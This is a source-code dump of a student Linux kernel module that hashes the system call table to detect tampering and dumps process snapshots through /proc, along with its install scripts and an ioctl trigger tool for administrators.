Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include "my-kallsyms.h" 30 | #include "sys-call-table-integrity-check.h" 31 | #include "super-fast-hash.h" 32 | #include "logger.h" 33 | #include "carbonite.h" 34 | 35 | static struct timer_list timer; 36 | static unsigned long timer_interval; 37 | static char checking_module[MODULE_NAME_LEN]; 38 | 39 | static uint32_t sys_call_table_hash; 40 | static unsigned int sys_call_table_size; 41 | static unsigned long sys_call_table_address; 42 | 43 | static void (*incident_handler) (int); 44 | 45 | /* Forward declaration for the register_timer_interrupt function */ 46 | 47 | void sys_call_table_integrity_checker(unsigned long); 48 | 49 | void register_timer_interrupt(void) 50 | { 51 | int ret; 52 | 53 | if(timer_interval <= 0) 54 | { 55 | return; 56 | } 57 | 58 | setup_timer(&timer, sys_call_table_integrity_checker, 0); 59 | 60 | ret = mod_timer(&timer, jiffies + msecs_to_jiffies(timer_interval)); 61 | 62 | if(ret) 63 | { 64 | printk(KERN_ERR "%s:\t[-] Failed to modify timer interval of the timer\n", checking_module); 65 | } 66 | } 67 | 68 | int the_drip_dry_carbonite_module_event(struct notifier_block *this, unsigned long event, void *pointer) 69 | { 70 | unsigned long flags; 71 | struct module *new_module; 72 | DEFINE_SPINLOCK(module_event_spinlock); 73 | 74 | spin_lock_irqsave(&module_event_spinlock, flags); 75 | 76 | new_module = (struct module *) pointer; 77 | 78 | switch(new_module->state) 79 | { 80 | case(MODULE_STATE_COMING): 81 | break; 82 | case(MODULE_STATE_LIVE): 83 | 84 | if(new_module == THIS_MODULE) 85 | { 86 | /* Skip checking for ourselves */ 87 | 88 | break; 89 | } 90 | 91 | incident_handler(AFTER_MODULE_INIT); 92 | 93 | break; 94 | case(MODULE_STATE_GOING): 95 | break; 96 | default: 97 | print_log(KERN_ERR MODULE_NAME "%s:\t[-] Unknown module state in notifier chain at module with name: %s\n", 98 | checking_module, new_module->name); 99 | break; 100 | } 101 | 102 | spin_unlock_irqrestore(&module_event_spinlock, flags); 103 | 104 | return NOTIFY_DONE; 105 | } 106 | 107 | static struct notifier_block module_notifier_block = 108 | { 109 | .notifier_call = the_drip_dry_carbonite_module_event, 110 | .priority = INT_MAX 111 | }; 112 | 113 | void sys_call_table_integrity_checker(unsigned long data) 114 | { 115 | unsigned long flags; 116 | int sys_call_table_modified = 0; 117 | DEFINE_SPINLOCK(integrity_spinlock); 118 | 119 | /* Run non premptive and unscheduled */ 120 | 121 | spin_lock_irqsave(&integrity_spinlock, flags); 122 | 123 | if(sys_call_table_hash != super_fast_hash((char *) sys_call_table_address, sys_call_table_size)) 124 | { 125 | sys_call_table_modified = 1; 126 | } 127 | 128 | spin_unlock_irqrestore(&integrity_spinlock, flags); 129 | 130 | if(sys_call_table_modified) 131 | { 132 | printk(KERN_CRIT "%s:\t[-] system call table was modified!\n", checking_module); 133 | 134 | if(incident_handler) 135 | { 136 | incident_handler(AFTER_INCIDENT); 137 | incident_handler = NULL; 138 | } 139 | } 140 | else 141 | { 142 | printk(KERN_INFO "%s:\t[+] system call table is not modified\n", checking_module); 143 | } 144 | 145 | register_timer_interrupt(); 146 | } 147 | 148 | int init_sys_call_table_integrity_checker(const char *module_name, unsigned long every, void (*handler) (int)) 149 | { 150 | unsigned long next_symbol; 151 | 152 | if(module_name == NULL) 153 | { 154 | printk(KERN_ERR "init_sys_call_table_integrity_checker:\t[-] NULL module name passed as argument\n"); 155 | 156 | return 0; 157 | } 158 | 159 | if(every <= 0) 160 | { 161 | printk(KERN_ERR "%s:\t[-] Negative time interval was given to initialization of sys_call_table_integrity_checker\n", module_name); 162 | 163 | return 0; 164 | } 165 | 166 | timer_interval = every; 167 | register_timer_interrupt(); 168 | 169 | register_module_notifier(&module_notifier_block); 170 | 171 | sys_call_table_address = my_kallsyms_lookup_name("sys_call_table"); 172 | 173 | if(sys_call_table_address == 0) 174 | { 175 | printk(KERN_ERR "%s:\t[-] Failed to get address of sys_call_table symbol\n", module_name); 176 | 177 | return 0; 178 | } 179 | 180 | next_symbol = find_next_symbol(sys_call_table_address); 181 | 182 | if(next_symbol == 0) 183 | { 184 | printk(KERN_ERR "%s:\t[-] Failed to get address of sys_call_table's next symbol\n", module_name); 185 | 186 | return 0; 187 | } 188 | 189 | /* The distance between the addresses of two exported symbols, it the size of the first */ 190 | 191 | sys_call_table_size = next_symbol - sys_call_table_address; 192 | sys_call_table_hash = super_fast_hash((char *) sys_call_table_address, sys_call_table_size); 193 | 194 | strncpy(checking_module, module_name, MODULE_NAME_LEN); 195 | 196 | incident_handler = handler; 197 | 198 | return 1; 199 | } 200 | 201 | void destroy_sys_call_table_integrity_checker(void) 202 | { 203 | int ret; 204 | 205 | unregister_module_notifier(&module_notifier_block); 206 | 207 | ret = del_timer(&timer); 208 | 209 | if(!ret) 210 | { 211 | printk("%s:\t[-] Failed to delete timer\n", checking_module); 212 | } 213 | 214 | timer_interval = sys_call_table_address = sys_call_table_size = sys_call_table_hash = checking_module[0] = 0; 215 | } 216 | 217 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/sys-call-table-integrity-check.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #ifndef _SYS_CALL_TABLE_INTEGRITY_CHECK_ 25 | #define _SYS_CALL_TABLE_INTEGRITY_CHECK_ 26 | 27 | int init_sys_call_table_integrity_checker(const char *module_name, unsigned long every, void (*incident_handler) (int)); 28 | 29 | void destroy_sys_call_table_integrity_checker(void); 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/task-dump-list.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #include "task-dump-list.h" 25 | #include "task-utils.h" 26 | #include 27 | #include 28 | 29 | struct task_dump_node { 30 | struct task_dump *task_dump; 31 | struct task_dump_node *next; 32 | }; 33 | 34 | struct task_dump_list { 35 | long size; 36 | struct task_dump_node *head; 37 | struct task_dump_node *tail; 38 | }; 39 | 40 | struct task_dump *init_task_dump_from_task(struct task_struct *task) 41 | { 42 | struct task_dump *dump = NULL; 43 | 44 | if(!task) 45 | { 46 | return dump; 47 | } 48 | 49 | dump = kmalloc(sizeof(struct task_dump), GFP_ATOMIC); 50 | 51 | if(!dump) 52 | { 53 | return dump; 54 | } 55 | 56 | dump->pid = task->pid; 57 | 58 | /* Caller has "stopped the world", so there's no need for locking the cred structure */ 59 | 60 | dump->uid = task_uid(task); 61 | dump->gid = __task_cred(task)->gid; 62 | get_task_state(task, dump->state); 63 | //TODO arguments 64 | //TODO enviroment 65 | //TODO executables 66 | strncpy(dump->comm, task->comm, TASK_COMM_LEN); 67 | dump->start_time = timespec_to_ns((const struct timespec *) &(task->start_time)); 68 | 69 | return dump; 70 | } 71 | 72 | struct task_dump_list *init_task_dump_list(void) 73 | { 74 | struct task_dump_list *list; 75 | 76 | list = kmalloc(sizeof(struct task_dump_list), GFP_ATOMIC); 77 | 78 | if(!list) 79 | { 80 | return list; 81 | } 82 | 83 | list->size = 0; 84 | list-> head = list->tail = NULL; 85 | 86 | return list; 87 | } 88 | 89 | struct task_dump_node *init_task_dump_node(struct task_dump *task_dump) 90 | { 91 | struct task_dump_node *node = kmalloc(sizeof(struct task_dump_node), GFP_ATOMIC); 92 | 93 | if(!node) 94 | { 95 | return node; 96 | } 97 | 98 | node->task_dump = task_dump; 99 | node->next = NULL; 100 | 101 | return node; 102 | } 103 | 104 | int add_task_dump_to_list(struct task_dump_list *list, struct task_dump *dump) 105 | { 106 | struct task_dump_node *node; 107 | 108 | if(!list) 109 | { 110 | return 0; 111 | } 112 | 113 | node = init_task_dump_node(dump); 114 | 115 | if(!node) 116 | { 117 | return 0; 118 | } 119 | 120 | if(!list->head) 121 | { 122 | 123 | list->head = list->tail = node; 124 | } 125 | else 126 | { 127 | list->tail->next = node; 128 | list->tail = node; 129 | } 130 | 131 | list->size++; 132 | 133 | return 1; 134 | } 135 | 136 | long get_size(struct task_dump_list *list) 137 | { 138 | return (list ? list->size : 0); 139 | } 140 | 141 | 142 | struct task_dump *get_task_dump(struct task_dump_list *list, long n) 143 | { 144 | struct task_dump_node *node = list->head; 145 | 146 | if(n > list->size) 147 | { 148 | return NULL; 149 | } 150 | 151 | while(n-- && node) 152 | { 153 | node = node->next; 154 | } 155 | 156 | if(node) 157 | { 158 | return node->task_dump; 159 | } 160 | 161 | return NULL; 162 | } 163 | 164 | 165 | void destroy_task_dump_list(struct task_dump_list *list) 166 | { 167 | struct task_dump_node *temp, *to_delete; 168 | 169 | if(!list) 170 | { 171 | return; 172 | } 173 | 174 | temp = to_delete = list->head; 175 | 176 | while(to_delete) 177 | { 178 | temp = to_delete; 179 | to_delete = to_delete->next; 180 | 181 | if(temp->task_dump) 182 | { 183 | kfree(temp->task_dump); 184 | } 185 | 186 | kfree(temp); 187 | } 188 | } 189 | 190 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/task-dump-list.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #ifndef _TASK_DUMP_LIST_ 25 | #define _TASK_DUMP_LIST_ 26 | 27 | #include 28 | 29 | /* Export structure to the client, in order to avoid mutators and accessors */ 30 | 31 | #define MAX_STATE_LEN 2 32 | 33 | struct task_dump { 34 | pid_t pid; 35 | uid_t uid; 36 | gid_t gid; 37 | char *aruments; 38 | char *enviroment; 39 | char state[MAX_STATE_LEN]; 40 | char comm[TASK_COMM_LEN]; 41 | signed long long start_time; 42 | }; 43 | 44 | struct task_dump_list; 45 | 46 | struct task_dump *init_task_dump_from_task(struct task_struct *task); 47 | 48 | struct task_dump_list *init_task_dump_list(void); 49 | 50 | int add_task_dump_to_list(struct task_dump_list *list, struct task_dump *dump); 51 | 52 | void destroy_task_dump_list(struct task_dump_list *list); 53 | 54 | struct task_dump *get_task_dump(struct task_dump_list *list, long n); 55 | 56 | long get_size(struct task_dump_list *list); 57 | 58 | #endif 59 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/task-dump-seq-file.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include "task-dump-seq-file.h" 30 | #include "task-dump-list.h" 31 | #include "logger.h" 32 | 33 | #define DUMP_PROC_ENTRY_NAME "the-drip-dry-carbonite-dump" 34 | 35 | static struct task_dump_list *list; 36 | static struct proc_dir_entry *dump_proc_entry; 37 | 38 | void *task_dump_seq_start(struct seq_file *s, loff_t *pos) 39 | { 40 | if(*pos == 0) 41 | { 42 | loff_t *spos = kmalloc(sizeof(loff_t), GFP_KERNEL); 43 | 44 | if(!spos) 45 | { 46 | return spos; 47 | } 48 | 49 | *spos = *pos; 50 | 51 | return spos; 52 | } 53 | else if(*pos > get_size(list)) 54 | { 55 | /* Terminate the sequence */ 56 | 57 | *pos = 0; 58 | 59 | return NULL; 60 | } 61 | else 62 | { 63 | return pos; 64 | } 65 | } 66 | 67 | void *task_dump_seq_next(struct seq_file *s, void *v, loff_t *pos) 68 | { 69 | loff_t *spos = (loff_t *) v; 70 | 71 | /* size of list + 1, because of the header (printed when the iterator is 0) */ 72 | 73 | if(*pos > get_size(list) + 1) 74 | { 75 | return NULL; 76 | } 77 | 78 | *pos = ++(*spos); 79 | 80 | return spos; 81 | } 82 | 83 | void task_dump_seq_stop(struct seq_file *s, void *v) 84 | { 85 | if(v) 86 | { 87 | kfree(v); 88 | } 89 | } 90 | 91 | int task_dump_seq_show(struct seq_file *s, void *v) 92 | { 93 | loff_t *spos = (loff_t *) v; 94 | struct task_dump *dump; 95 | 96 | if(!list || get_size(list) == 0) 97 | { 98 | /* Don't display the header if the list is empty */ 99 | 100 | return 0; 101 | } 102 | 103 | /* First element to print will be the header of the report */ 104 | 105 | if(*spos == 0) 106 | { 107 | char log[MAX_LOG_LEN]; 108 | 109 | sprintf(log, " PID UID GID STATE NAME Start Time\n"); 110 | 111 | /* Log remotely (if possible) and show also the log */ 112 | 113 | print_log(log); 114 | seq_printf(s, log); 115 | 116 | return 0; 117 | } 118 | 119 | /* Reduce the iterator by 1, because the header that we printed */ 120 | 121 | dump = get_task_dump(list, (*spos - 1)); 122 | 123 | if(dump) 124 | { 125 | char log[MAX_LOG_LEN]; 126 | 127 | sprintf(log, "%4d\t%4d\t%4d\t%s %15s\t%lld\n", dump->pid, dump->uid, dump->gid, dump->state, 128 | dump->comm, dump->start_time); 129 | 130 | /* Log remotely (if possible) and show also the log */ 131 | 132 | print_log(log); 133 | seq_printf(s, log); 134 | } 135 | 136 | return 0; 137 | } 138 | 139 | struct seq_operations task_dump_seq_ops = { 140 | .start = task_dump_seq_start, 141 | .next = task_dump_seq_next, 142 | .stop = task_dump_seq_stop, 143 | .show = task_dump_seq_show 144 | }; 145 | 146 | int task_dump_open(struct inode *inode, struct file *file) 147 | { 148 | return seq_open(file, &task_dump_seq_ops); 149 | }; 150 | 151 | struct file_operations task_dump_file_ops = { 152 | .owner = THIS_MODULE, 153 | .open = task_dump_open, 154 | .read = seq_read, 155 | .llseek = seq_lseek, 156 | .release = seq_release 157 | }; 158 | 159 | int init_dump_seq_file(struct task_dump_list *dump_list) 160 | { 161 | if(!dump_list) 162 | { 163 | return 0; 164 | } 165 | 166 | list = dump_list; 167 | 168 | if(dump_proc_entry) 169 | { 170 | return 1; 171 | } 172 | 173 | dump_proc_entry = create_proc_entry(DUMP_PROC_ENTRY_NAME, 0400, NULL); 174 | 175 | if(!dump_proc_entry) 176 | { 177 | return 0; 178 | } 179 | 180 | dump_proc_entry->proc_fops = &task_dump_file_ops; 181 | 182 | return 1; 183 | } 184 | 185 | void destroy_dump_seq_file(void) 186 | { 187 | if(dump_proc_entry) 188 | { 189 | remove_proc_entry(DUMP_PROC_ENTRY_NAME, NULL); 190 | dump_proc_entry = NULL; 191 | } 192 | } 193 | 194 | 195 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/task-dump-seq-file.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #ifndef _TASK_DUMP_SEQ_FILE_ 25 | #define _TASK_DUMP_SEQ_FILE_ 26 | 27 | struct task_dump_list; 28 | 29 | int init_dump_seq_file(struct task_dump_list *list); 30 | 31 | void destroy_dump_seq_file(void); 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/task-dump.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #include 25 | #include "task-dump.h" 26 | #include "task-dump-list.h" 27 | #include "task-dump-seq-file.h" 28 | 29 | static struct task_dump_list *dump_list; 30 | 31 | int init_task_dump(void) 32 | { 33 | if(dump_list) 34 | { 35 | destroy_task_dump_list(dump_list); 36 | } 37 | 38 | dump_list = init_task_dump_list(); 39 | 40 | if(dump_list == NULL) 41 | { 42 | return 0; 43 | } 44 | 45 | return init_dump_seq_file(dump_list); 46 | } 47 | 48 | int dump_task(struct task_struct *task) 49 | { 50 | return add_task_dump_to_list(dump_list, init_task_dump_from_task(task)); 51 | } 52 | 53 | void destroy_task_dump(void) 54 | { 55 | destroy_dump_seq_file(); 56 | destroy_task_dump_list(dump_list); 57 | } 58 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/task-dump.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #ifndef _TASK_DUMP_ 25 | #define _TASK_DUMP_ 26 | 27 | #include 28 | #include 29 | 30 | int init_task_dump(void); 31 | 32 | int dump_task(struct task_struct *task); 33 | 34 | void destroy_task_dump(void); 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/task-utils.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #include "task-utils.h" 25 | #include 26 | 27 | /* 28 | * The task state array is a strange "bitmap" of 29 | * reasons to sleep. Thus "running" is zero, and 30 | * you can test for combinations of others with 31 | * simple bit tests. 32 | */ 33 | static const char *task_state_array[] = { 34 | "R", /* 0 */ 35 | "S", /* 1 */ 36 | "D", /* 2 */ 37 | "Z", /* 4 */ 38 | "T", /* 8 */ 39 | "W" /* 16 */ 40 | }; 41 | 42 | static inline const char *_get_task_state(struct task_struct *tsk) 43 | { 44 | unsigned int state = tsk->state & (TASK_REPORT); 45 | 46 | const char **p = &task_state_array[0]; 47 | 48 | while (state) { 49 | p++; 50 | state >>= 1; 51 | } 52 | return *p; 53 | } 54 | 55 | void get_task_state(struct task_struct *task, char *buffer) 56 | { 57 | if(!task || !buffer) 58 | { 59 | return; 60 | } 61 | 62 | strncpy(buffer, _get_task_state(task), MAX_STATE_LEN); 63 | } 64 | 65 | 66 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/task-utils.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #ifndef _TASK_UTILS_ 25 | #define _TASK_UTILS_ 26 | 27 | #include "task-dump-list.h" 28 | 29 | void get_task_state(struct task_struct *task, char *buffer); 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/utils/Makefile: -------------------------------------------------------------------------------- 1 | all: trigger-carbonite 2 | 3 | trigger-carbonite: trigger-carbonite.c 4 | gcc trigger-carbonite.c -o trigger-carbonite 5 | 6 | clean: 7 | rm -f trigger-carbonite 8 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/utils/install: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd ../src 4 | 5 | # compile the module 6 | 7 | make 8 | ret=$? 9 | 10 | if [ $ret != 0 ] 11 | then 12 | echo -e "\e[00;31m [-] Failed to compile kernel module\e[00m" 13 | exit $ret 14 | fi 15 | 16 | echo -e "\e[00;32m [+] Compiled kernel module\e[00m" 17 | 18 | # insert the module 19 | 20 | sudo /sbin/insmod ./the-drip-dry-carbonite.ko 21 | ret=$? 22 | 23 | if [ $ret != 0 ] 24 | then 25 | echo -e "\e[00;31m [-] Failed to insert kernel module\e[00m" 26 | make clean 27 | exit $ret 28 | fi 29 | 30 | echo -e "\e[00;32m [+] Inserted kernel module\e[00m" 31 | 32 | # get the major number of the character device and create a special file 33 | 34 | major=`cat /proc/command-the-drip-dry-carbonite-major` 35 | sudo mknod /dev/command-the-drip-dry-carbonite c $major 0 36 | 37 | if [ $ret != 0 ] 38 | then 39 | echo -e "\e[00;31mFailed to create the character device\e[00m" 40 | sudo /sbin/rmmod the_drip_dry_carbonite 41 | make clean 42 | exit $ret 43 | fi 44 | 45 | make clean 46 | 47 | # compile the user-space tool 48 | 49 | cd ../utils 50 | make 51 | 52 | if [ $ret != 0 ] 53 | then 54 | echo -e "\e[00;31m [-] Failed to compile trigger-carbonite\e[00m" 55 | sudo /sbin/rmmod the_drip_dry_carbonite 56 | make clean 57 | exit $ret 58 | fi 59 | 60 | echo -e "\e[00;32m [+] Compiled user-space tool (trigger-carbonite)\e[00m" 61 | 62 | #copy trigger-carbonite to /usr/bin and /bin 63 | 64 | cp trigger-carbonite /usr/bin 65 | cp trigger-carbonite /bin 66 | 67 | echo -e "\e[00;32m [+] Moved trigger-carbonite to /bin and /urs/bin\e[00m" 68 | 69 | exit 0 70 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/utils/trigger-carbonite.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #include 25 | #include 26 | #include "../src/command-chrdev.h" 27 | 28 | /* A simple source to trigger the module to execute the carbonite functionality. 29 | * This utility shoud be used from the system's administrator after a security 30 | * incident, in order to freeze the system and dump snapshots of the running processes. 31 | */ 32 | 33 | int main(void) 34 | { 35 | int fd, ret; 36 | 37 | fd = open("/dev/command-the-drip-dry-carbonite", O_RDONLY); 38 | 39 | if(fd < 0) 40 | { 41 | perror("/dev/command-the-drip-dry-carbonite"); 42 | return -1; 43 | } 44 | 45 | ret = ioctl(fd, IOCTL_CARBONITE_COMMAND); 46 | 47 | if(ret != 0) 48 | { 49 | perror("need root"); 50 | return -1; 51 | } 52 | 53 | close(fd); 54 | 55 | return 0; 56 | } 57 | 58 | 59 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/utils/uninstall: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #remove kernel module 4 | 5 | rmmod the-drip-dry-carbonite 2 &> /dev/null 6 | 7 | #delete special file 8 | rm /dev/command-the-drip-dry-carbonite 2 &> /dev/null 9 | 10 | #delete trigger-carbonite from /bin and /usr/bin 11 | 12 | rm /bin/trigger-carbonite 